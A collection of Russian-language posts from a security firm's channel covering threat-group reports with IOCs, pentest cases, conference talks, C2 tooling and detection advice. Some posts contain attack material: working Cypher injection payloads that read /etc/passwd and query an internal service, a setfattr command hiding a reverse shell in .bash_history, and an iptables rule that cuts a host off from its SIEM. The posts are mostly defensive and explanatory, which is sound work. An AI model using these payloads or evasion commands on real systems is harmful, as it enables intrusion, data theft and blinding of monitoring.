Расследуя атаки хакерской группировки год за годом, можно наблюдать, как эволюционирует эта угроза. Один из признаков её развития — переход от использования чужих вредоносных инструментов к собственным разработкам.

Группировка Labooboo (Toy Ghouls, Bearlyfy), атакующая российские организации с 2025 года, изначально использовала сторонние шифровальщики RedAlert, LockBit и Babuk, но в марте 2026 года перешла на собственный шифровальщик GenieLocker.

А недавно наши эксперты обнаружили, что в арсенале этой группы появился свой бэкдор, который позволяет выполнять произвольные команды. Бэкдор существует как минимум в двух вариациях, использующих для связи с С2 протоколы MQTT и Matrix.

В реализации с MQTT (MD5: BFADBEEE63A4F0BF19EC9DEB8FA58F58) в качестве брокера указан broker.hivemq.com:8883. Обмен сообщениями осуществляется через топики _id_/cmd/req, _id_/cmd/res, _id_/metrics3 и _id_/status для получения команд, отправки результатов их выполнения, метрик и состояния бэкдора, соответственно.

В реализации с Matrix (MD5: 7916C33688385525078BEE504C90F359) вредонос подключается к определенной комнате на публичном сервере meet.element.tw и выполняет команды из сообщений, начинающихся c cmd. Результаты выполнения команд, метрики и статусы публикуются в виде сообщений в комнате.

Выявленные образцы добавлены в антивирусные базы. Продолжаем следить за Лабубой. Детальное описание обнаруженных бэкдоров опубликуем позже.

Пока все пентестеры ждут результатов премии Pentest Award 2026, мы решили показать вам ещё один кейс, с которым наш отдел анализа защищенности участвовал в этом конкурсе в прошлом году. Кстати, если вы пропустили наши прошлые кейсы с этого конкурса — смотрите тут: первый, второй, третий.

А сегодня рассказ будет о том, как обычные на первый взгляд функции в PHP могут складываться в цепочки недочетов, которые позволяют получить привилегии доменного администратора.

Наш Заказчик использовал систему управления заявками [XXX]. Демо-версия веб-приложения была обфусцирована IonCube12, что не давало возможности анализировать код. Однако мы нашли несколько критических уязвимостей внутри системы управления заявками — в том числе blind SQL, которую можно было использовать для получения токена администратора. Правда, она давала почти невероятную задержку, так как фактически выполнялась в серии подзапросов.

Но это нас не остановило. Используя недочеты функции uniqid, поддельный домен-контроллер, возможность загрузки pdf-файла с сериализованным сюрпризом и недокументированные скрытые параметры из самых обычных запросов к системе заявок, мы смогли получить доступ для добавления своего административного пользователя внутрь системы. А затем обнаружили высокопривилегированную учетную запись, которая привела к полному захвату домена из внешней сети Заказчика. В ходе работ ни один phpgcc-гаджет не пострадал (не использовался).

Более подробно о том, как помогла нам небезопасная генерация имени файла и небезопасная десериализация, а также рекомендации по защите от таких атак — в полном описании этого кейса.

Достаточно свежая уязвимость в Windows Server под названием Certighost (CVE-2026-54121) позволяет пользователю с минимальными правами получить контроль над доменом.

Атака эксплуатирует резервный механизм в службе сертификатов ADCS, при использовании которого Certification Authority обращается к указанному контроллеру домена (атрибут cdc) для получения информации о машинном объекте, связанном с запросом (атрибут rmd).

Уязвимость состоит в том, что CA не проверяет, действительно ли в cdc указан настоящий контроллер домена. Поэтому атакующий может указать подконтрольный ему хост с поддельными службами LDAP/LSA для ответа на запрос.

Понятно, что лучший способ защиты — накатить обновление на все ADCS-сервера. Но как узнать, не подверглись ли ваши сервера этой атаке ещё до обновления? Об этом читайте в статье Дмитрия Щетинина "Детектируем атаку Certighost".

Наши эксперты зафиксировали свежую фишинговую кампанию, идущую с середины июля, которую мы с высокой уверенностью атрибутируем группировке Geo Likho.

Под удар злоумышленников на этот раз попали организации из разных сфер: медицинские и исследовательские центры, образовательные учреждения, телеком-операторы, промышленные предприятия и НПО. Основная цель группы — кража данных.

Вектор атаки не претерпел значительных изменений по сравнению с уже описанными атаками этой группировки на российский авиапром:

— Жертвам приходит фишинговое письмо, содержащее ссылку на .rar-архив с обфусцированным .VBE-дроппером (VBScript Encoded) внутри.

— Дроппер загружает в папку %LOCALAPPDATA%\Temp второй компонент атаки: написаный на Delphi вредонос с функционалом стилера и загрузчика.

— В директорию %PROGRAMDATA%\python10.13\ загружается третий компонент атаки: написанный на C++ стилер (функционал схож с предыдущим).

— Закрепление происходит с помощью создания .lnk-файла в папке автозапуска: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\python10.13.lnk

Как детектировать

Рекомендуем использовать следующие индикаторы компрометации:

VBE-загрузчики — все образцы называются "текст договора (новая версия).vbe":

7e976b433818ed32e24e410053c9c9e4 
fdb6a82b09a5a4d7765fdbd94db5a365
ac552b6693e424bf016fb21541ba0d42
59c86eb4bd9a7996cba9f1ae51c5e967 
63481a4d3658c8e3837fb62c70584f7f
57449ed659ba464d581b9f02101b230c
9f6ef70396c82a72e1722338abbf2e92 
0e227d79861d73867c2b813471e2a87c
7737fbba797c1c40178fb83571a73f86
931be9937963c527d1d77c25aad17d20
85a52a578c92c1907daa22b8903e4329
c98e6cdca3490332e2236f07ae0f8547
8e36c9e874b895d787c8153c1e5104f1
8724b6818e42d5e4f0a44bb59e0a7bbf
70408b105aef9285ec99991588a8d37a
59a3303e71256c9fe9fd3fe05f8bb019
9d3107278be12f65fc7922a03c696a80
6925b782ec219d84c7a775d865994ab6
a0274f92706e608412cbcf820ffa0fba
22cdf62205a48ff675bd0656f4672314
bd2b074b8e310534654725dd90843331
aba924e3acfcaecbc6a532ca4789b990
f71225ac09fb9e8fc77b7ccdddbfcd20
e6def442905f7664525882141d7ca374
dadcc70014bab6281e59348ad65d8b07
d2818f0dad2d5e0a8ef1eb13c0d0f37c
8a18931626f39234e0bd86b4bbbddb30
414436bffc2c4409e7f69ed06914468e
24442b12a5e9e4b0e855ee9ad8a32c60

Delphi-компонент (Dogovor.exe):

f1371d9d26cf44838327abb44bb76381
9f467928101fd6815ff12dcd29ebf9ba
1a4fc29c4830c4fcd546894792962e6c
c740447b33778d7048032e6d7381d77b
8c644df7c16d60837646866e427eedd5
9cf02bc4ac055c517e8d83df99fc75c4
53c0dbf6b82ccff57ef97f62e9bc739f
6d6148c2428be3f526a8e9b6c9a5f8c4
3304032b9a2f5c7a98f68ca20f509588
17131e8331ade8c428d536b988dd4245

C++ -компонент (python10.13.exe):

0fbf6efb41529a904db288fc5af7339b
f1906a6953af3c54fe09e28157460267
b3b0b39557e10abe431336269b477657
dec98e8473a4f0a71eaa573514cfbeac
c167b1113a9e724a294c7bd0234440fc

Сетевые индикаторы:

saratov-adm[.]net
nn-prom[.]com
ufa-oboron[.]com
samara-prom[.]net
marinesogaz[.]net
tambov-energo[.]com

Про искусственный интеллект теперь вещают из каждого утюга — и мы не хотим отставать от утюгов! На конференции OFFZONE 2026 в следующий четверг наши эксперты представят два доклада о том, как ML и LLM облегчают тяжёлую работу SOC:

Артемий Обухов. "Генерация фильтров на практике: от алгоритмов к LLM" (20 августа, 12:20–12:45)

Аналитики SOC ежедневно разбирают сотни срабатываний, большинство из которых ложные. Закрытие каждого такого срабатывания отдельным фильтром вручную — рутинная и трудоемкая задача.

Артемий расскажет, как был автоматизирован этот процесс: система сама предлагает готовые фильтры, а аналитику остается выбрать подходящий. Обсудим, как формализовать задачу, генерировать и оценивать фильтры, а также сравним два подхода — алгоритмический пайплайн и LLM, их преимущества, ограничения и результаты на реальных кейсах.

Дмитрий Аникин, Денис Кулик. "You Shall Not Pass… Laterally: как мы ловим боковое перемещение с помощью ML‑инструментов" (20 августа, 13:40–14:05)

Для продвижения вглубь скомпрометированной системы злоумышленники часто используют легитимные инструменты и вообще ведут себя почти как легитимные пользователи, поэтому выявлять такую активность весьма непросто. В этом докладе предлагается взгляд на проблему с двух точек зрения: SOC‑аналитика и AI‑разработчика.

Денис и Дмитрий расскажут, как создавались ML‑инструменты для решения этой задачи, как они чуть не утонули в количестве данных, почему аномалии по IP‑адресам тут скорее вредят и почему контекст и AI‑предрасследование не менее важны, чем сам детект.

Заходите послушать!

Для решения задач по анализу защищённости наша "красная команда" часто пользуется агентами для фреймворка Mythic. И как вы могли заметить, у нас много своих наработок в области такого инструментария: мы уже рассказывали про создание собственного Mythic-агента, про добавление автоматических проверок безопасности в Mythic Apollo и про реализацию нативного TCP-транспорта для агента Xenon.

Сегодня покажем еще один полезный инструмент для пентестеров, решающий проблему архитектурной ограниченности при работе с TCP P2P-профилями агентов Poseidon и Apollo внутри целевой сети. Проблема в том, что Mythic C2 не располагает встроенным egress-профилем, способным инициировать исходящее TCP-соединение к P2P-агенту; это требует развёртывания промежуточных транзитных узлов миграции на альтернативные протоколы передачи данных.

Наш эксперт Олег Сенько разработал bind_tcp_agent — виртуальный колбэк внутри Mythic, который закрывает этот пробел. Теперь с помощью одной команды link 192.168.1.100 18888 вы получаете канал в изолированный сегмент.

Что умеет bind_tcp_agent:

— Исходящие TCP из Mythic: подключается к агенту, а не ждёт обратного.

— P2P-цепочки любой глубины: Mythic → bind_tcp_agent → Poseidon → Poseidon -> Apollo.

— SOCKS4/5/HTTP-прокси: выход через jump-хосты из коробки.

— Три режима шифрования: plaintext, AESPSK, EKE (RSA-OAEP → AES-256-CBC).

— Полная ретрансляция: задачи, файлы, интерактивные шеллы, rpfwd, SOCKS.

— Автореконнект: экспоненциальный backoff + персистентность состояния через API Mythic.

Более подробно о том, как это работает под капотом (TCP-фрейминг чанками по 30 КБ, дерево решений шифрования, обработка переподключений и P2P-делегаты) — читайте в полном описании bind_tcp_agent на нашем сайте.

На грядущей конференции OFFZONE наши эксперты будут рассказывать не только про искусственный интеллект, но и про вещи более доступные. Иногда даже чересчур доступные.

Александр Забровский. "Три поисковика, одна поверхность: как мы дружили три device search engines" (20 августа, 15:45–16:15)

Attack Surface Management — это непрерывный процесс обнаружения, инвентаризации и мониторинга публично доступных цифровых активов и приоритизация связанных с ними рисков. Для такой работы используются специализированные поисковики устройств типа Shodan.

При построении своего сервиса ASM команда Александра использовала три принципиально разных поисковика, чтобы получить больше результатов. Однако это создало множество нюансов при обработке данных: разные даты сканирования и география сканирования, разные форматы данных, покрытие портов\сервисов и пр. Данные интерпретируются источниками по-разному, появляется много противоречий.

В докладе будет рассказано, как эксперты подружили разные источники, реализовали нормализацию и дедупликацию — и получили более полную картину, чем давал каждый из поисковиков в отдельности.

Алина Суханова. "Эскалация через 1С: расследование и защита" (21 августа, 11:30–12:00)

Атаки с использованием уязвимостей программного обеспечения "1С:Предприятие" не теряют популярности в 2026 году. Что неудивительно, поскольку именно эти решения являются основными на рынке систем управления ресурсами предприятия (ERP) в России.

При этом, как мы уже рассказывали, компрометация серверов 1С не требует особо сложных техник. Атакующие используют тривиальные ошибки в настройках — такие, как учётки с пустым паролем. В своём докладе Алина покажет примеры мисконфигураций 1С, которые используют злоумышленники, и расскажет, как можно предотвратить развитие подобных атак.

Как известно, самый надёжный способ обойти систему безопасности — это отключить систему безопасности. И вот практический пример.

Во время расследования одного из инцидентов наши эксперты обнаружили, что атакующие получили root-доступ к Linux-серверу заказчика. Исследование сервера позволило выявить выполнение следующей команды:

iptables -A OUTPUT -p udp --dport 5144 -j DROP

Оказалось, что в инфраструктуре заказчика был развернут SIEM, который собирал audit-лог Linux пассивным методом: с помощью агента-коннектора SIEM.

Именно на порт 5144 сервера-коллектора агент и отправлял с некоторым интервалом журнал аудита Linux. А с помощью команды, показанной выше, атакующие отключили данный узел от SIEM.

Что делать для предотвращения:

— создавать правила EDR/SIEM на изменение правил фаервола, в особенности в отношении портов, связанных с СЗИ,

— детектировать командные строки, содержащие в себе iptables, New-NetFirewallRule, netsh advfirewall и пр.

— проверять доступность агентов SIEM: если агент не отвечает длительное время, а сигнала о выключении системы не поступало — стоит поднимать алерт.

А вообще это был лишь один из поучительных кейсов, которые будут представлены на конференции OFFZONE 2026 в докладе Кирилла Магаськина «2025 GERT Recap: Самые интересные техники и громкие фейлы злоумышленников» (21 августа, 12:00 - 12:30).

Объявлены результаты конкурса Pentest Awards 2026! И мы постепенно будем публиковать интересные кейсы, с которыми наши эксперты участвовали в этом конкурсе.

Первым поздравляем Виктора Зварыкина: он уже второй год подряд забирает медаль "фаворит года по версии жюри". Вот что говорит сам автор о своём призовом кейсе:

"Глубина — история о том, почему в информационной безопасности недостаточно просто запустить готовый инструмент и получить результат. Главный герой находит уязвимость в реальной системе, но довольно быстро понимает, что успешный взлом — это только начало.

Вместе с более опытным другом он начинает разбираться, как устроена система и почему возможна эксплуатация этого вектора. Весь рассказ погружён в атмосферу цикла произведений "Глубина" Сергея Лукьяненко, где цифровой мир становится почти настоящим."

Суть кейса кратко:

Работы по анализу защищённости проходили в крупной иностранной компании, одной из главных задач пентеста было пробитие внешнего периметра.

На этапе OSINT-разведки был обнаружен веб-интерфейс IIS (Internet Information Services), в котором часто встречается уязвимость чтения имен файлов и директорий в legacy-формате 8.3. Вследствие этого был обнаружен эндпоинт с неизвестным веб-сервисом, войти в который получилось благодаря нативно используемым учетным данным.

Разобравшись с функциональностью приложения, наши герои выявили, что в одном из запросов информация передавалась как .NET-сериализованный объект, использовавший небезопасный сериализатор BinaryFormatter. Успешная эксплуатация привела к RCE через DNS-эксфильтрацию.

Как избежать подобных атак:

(1) Параметр реестра NtfsDisable8dot3NameCreation используется для управления созданием коротких имен файлов (в формате 8.3) на томах NTFS в операционных системах Windows. Этот параметр важен для обеспечения совместимости со старыми приложениями, использующими соглашение об именовании файлов 8.3, однако он также может влиять на производительность и безопасность.

Чтобы устранить уязвимость, нужно поменять значение параметра NtfsDisable8dot3NameCreation на 1. Путь к нему:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation

Перед изменением значения необходимо проверить функционал работающих сервисов, чтобы не нарушить работу legacy-приложений.

(2) Полностью откажитесь от BinaryFormatter: его крайне сложно безопасно настроить или защитить фильтрацией. Используйте современные сериализаторы — например, System.Text.Json, а принимаемые данные проверяйте по заранее определённой структуре и разрешённым типам.

Для компактного бинарного формата Microsoft рекомендует MessagePack или protobuf-net; для XML — DataContractSerializer.
Начиная с .NET 9 встроенная реализация BinaryFormatter уже отключена.

(3) Используйте сложные и несловарные пароли для аутентификации в веб-сервисы.

Полную версию кейса Виктора в стиле "Глубины" читайте в нашем гитхабе.

А помните такую шутку из начала 2000-х? К вам приходит сообщение с текстом типа: "Здравствуйте! Я албанский вирус. К сожалению, я не владею высокими технологиями. Помогите мне пожалуйста: сотрите сами какой-нибудь важный файл на своём компьютере, а потом перешлите меня своим друзьям".

За последние годы шутка стала реальностью благодаря массовым атакам, использующим технику ClickFix. Пользователь видит всплывающее окно с предложением выполнить определённые действия для исправления какой-то "проблемы" (например, для обновления браузера) либо для проверки, "что вы не робот"; поддавшись на такой трюк, человек выполняет предложенные действия, то есть самостоятельно загружает и выполняет вредоносный код на своём компьютере.

Схема атаки в MacOS и Linux-средах идентична технике для Windows: жертва заманивается на фальшивый или взломанный сайт, в буфер обмена через JavaScript копируется команда, после чего пользователю предлагается вставить её в терминал. Отсутствие необходимости эксплуатировать уязвимости делает ClickFix эффективной техникой независимо от обновлений ПО.

Тем не менее, ClickFix можно успешно детектировать на нескольких уровнях: хостовом (запуск LOLBin от explorer.exe), поведенческом (аномальная цепочка родитель-потомок, совпадающая с записями в RunMRU) и артефактном (RunMRU, tiptsf.dll, история браузера). Комбинация этой телеметрии с правилами корреляции в SIEM-системах позволяет выявлять атаки ClickFix на ранних стадиях — до того, как злоумышленник перейдёт к пост-эксплуатации.

Подробный разбор типовых цепочек выполнения таких атак, а также различные способы их детектирования — в статье нашего эксперта Вадима Грачёва "Взломайте себя сами: разбираем технику ClickFix".

Все слышали новости о том, что в этом году LLM находят множество критических уязвимостей — больше тысячи в месяц. А мы сегодня поделимся более редким опытом: как LLM меняют скорость разработки оффенсивного инструментария, который используется для анализа защищённости.

Интеграция новых техник во фреймворк Mythic состоит из двух частей: рутинная (шаблонный код, подключение к API задач Mythic, упаковка результатов) и творческая (сами техники, их выбор и совершенствование).

Наши эксперты решили проверить, способен ли Anthropic Opus 4.6 автоматизировать рутину. Начали с провальной попытки решить задачу однократным промптом — но в итоге получили то, что можно охарактеризовать как фабрику одноразовых C2-агентов, которые генерируются менее чем за три часа.

Основные достижения:

— Трёхагентный цикл: оркестратор, разработчик, тестировщик — каждый со своим чистым контекстом.

— Декомпозиция задач: 50 новых команд для Mythic за 4 часа параллельными оркестраторами.

— Oracle harness: три уровня валидации — от mock-сервера до live QA на Windows-таргете. Начали с собственных экспериментов, протестировали подход SpecterOps, и в итоге скрестили оба.

— Сравнение моделей: Kimi K3, DeepSeek V4 Flash, Qwen 3.6 27B — кто справился, кто сжульничал, кто обманул.

— От задач к полноценным агентам: Go-имплант, Python-контейнер, HTTP C2-профиль, 7 команд — с нуля до PASS всех тиров.

Более подробно о том, как устроен этот конвейер, почему контекст важнее интеллекта модели и почему обвязка это продукт — читайте в статье Олега Сенько "Фабрика C2-агентов: опыт LLM-генерации наступательного инструментария".

Cypher-инъекция для атаки на базу данных Neo4j возникает по тем же причинам, что и SQL‑инъекция: приложение вставляет пользовательский ввод прямо в запрос к базе. В результате злоумышленник может изменить не только значение для поиска, но и логику самого запроса.

На одном из проектов по анализу защищённости нам встретилось веб-приложение, которое использовало базу Neo4j. В ней в том числе хранились данные пользователей, используемые при аутентификации. Мы обнаружили, что приложение формирует Cypher‑запросы путем прямой конкатенации пользовательского ввода - это и создавало риск инъекции.

Чтобы не раскрывать детали заказчика и безопасно воспроизвести найденные атаки, мы собрали локальный стенд с такой же уязвимостью. Все дальнейшие запросы и результаты показаны уже на нём, а используемые данные и внутренние сервисы являются тестовыми.

Суть проблемы:

Уязвимый код может выглядеть так:

query = f'MATCH (u:Users) WHERE u.login = "{user_input}" RETURN u'

Здесь введенный логин становится частью текста запроса и может изменить его содержание. Правильный вариант: оставить Cypher неизменным, а значение передать драйверу отдельно:

query = "MATCH (u:Users) WHERE u.login = $user_input RETURN u"

with driver.session() as session:
    result = session.run(query, user_input=user_input)

В данном случае $user_input - это параметр запроса: драйвер передаёт его значение отдельно от текста запроса. Neo4j сначала компилирует запрос, а затем подставляет значение параметра, поэтому содержимое user_input интерпретируется как данные, а не как часть синтаксиса Cypher.

На практике:

На проекте сработала следующая цепочка, которую мы повторили на стенде. Сначала мы заставили Neo4j включить свойства объекта в текст ошибки. Запрос из Burp выглядел так:

GET /api/user?login="+OR+1%3D1+RETURN+toString(CASE+WHEN+1%3D1+THEN+properties(u)+ELSE+0+END)+// HTTP/1.1
Host: localhost:5001

Значение login после декодирования:

" OR 1=1 RETURN toString(CASE WHEN 1=1 THEN properties(u) ELSE 0 END) // 

Кавычка закрывает исходную строку, OR делает условие истинным, а // комментирует хвост запроса.

Neo4j попытался преобразовать свойства объекта в строку и вернул ошибку типизации. Приложение показало ошибку целиком, поэтому в ответ попали свойства пользователя, включая password в виде ByteArray[...].

Neo.ClientError.Statement.TypeError:
Map{login -> "admin", password -> ByteArray[...]}

После этого проверили метки графа, локальный файл и внутренний сервис, внедряя вредоносные фрагменты Cypher в параметр login через функцию Inspector в модуле Burp Repeater:

" OR 1=1 WITH u LIMIT 1 CALL db.labels() YIELD label RETURN label //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "file:///etc/passwd" AS line RETURN line //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "http://gitlab-internal" AS line RETURN line //

Первый запрос вернул метку Users. Через LOAD CSV удалось прочитать строку из /etc/passwd и получить страницу внутреннего GitLab:

label = "Users"
root:x:0:0:root:/root:/bin/bash
<title>GitLab</title>

Чтение файлов и HTTP-запросы через LOAD CSV зависят от версии Neo4j, настроек, прав процесса и сетевых ограничений. На другой конфигурации эти запросы могут не сработать.

Результат:

Эксплуатация инъекции позволила получить не только доступ к данным графа. Сначала подробная ошибка Neo4j раскрыла свойства пользователя, включая поле password. На стенде удалось получить метку Users, прочитать строки из файла внутри контейнера Neo4j и обратиться к тестовому внутреннему HTTP-сервису. Таким образом, уязвимость в формировании Cypher‑запросов открыла возможность для нескольких векторов воздействия: извлечения данных узлов и связей, чтения локальных файлов сервера и обращения к доступным из Neo4j внутренним сервисам.

Для защиты от такой атаки рекомендуем:

— использовать параметризованные запросы,
— не возвращать клиенту информацию о содержании ошибки,
— выдать приложению минимальные права,
— ограничить LOAD CSV и исходящий трафик.

Атаки с использованием NTFS-потоков в Windows давно стали классикой. В Linux-средах про расширенные атрибуты (xattr) вспоминают реже, хотя идея схожая: благодаря этой фиче злоумышленник может скрыть вредоносный код в абсолютно легитимном и доверенном файле, что помогает обходить детекты со стороны защитных решений. Техника не новая, но она работает до сих пор, потому что EDR на Linux почти не смотрят в эту область.

Суть атаки:

Расширенные атрибуты позволяют привязать к любому файлу пару "ключ-значение". Размер значения может достигать 64 КБ. Важно, что поддержка есть во всех основных файловых системах. В качестве файла-носителя подойдёт любой, например, .bash_history. Алгоритм таков:

— создаётся обычный reverse shell (например, через msfvenom),

— полученный шелл-код сохраняется в атрибуте user.ATTRIBUTE файла .bash_history, это можно сделать такой командой:

setfattr --name=user.ATTRIBUTE --value="$buf" .bash_history

— также понадобится загрузчик на C, который считает этот атрибут функцией getxattr и передаст управление на полученный массив байт,

— остаётся доставить файлы на хост-жертву и запустить загрузчик.

По большому счету, сама нагрузка может быть чем угодно: бекконнект, модификация crontab, закрепление через systemd-таймеры - всё, что помещается в строку.

Однако техника имеет свои ограничения: большинство утилит не сохраняют xattr по умолчанию. Чтобы решить эту проблему, то есть доставить файл с пейлоадом в расширенном атрибуте на хост-жертву, злоумышленник может использовать:

tar с аргументом --xattrs
rsync с аргументом -X или --xattrs

Как ловить атаку:

Для детектирования попыток сокрытия полезной нагрузки в расширенных атрибутах файлов стоит ввести мониторинг системных вызовов для getxattr/setxattr и анализировать их содержимое. Простейшие правила для auditd могут выглядеть следующим образом:

-a always,exit -F arch=b64 -S getxattr -k xattr_read 

-a always,exit -F arch=b64 -S setxattr -k xattr_write 

Кроме того, с учетом вышеупомянутых ограничений этой техники, для детектирования можно отслеживать запуски утилит tar и rsync с соответствующими аргументами командной строки, которые отвечают за сохранение расширенных атрибутов.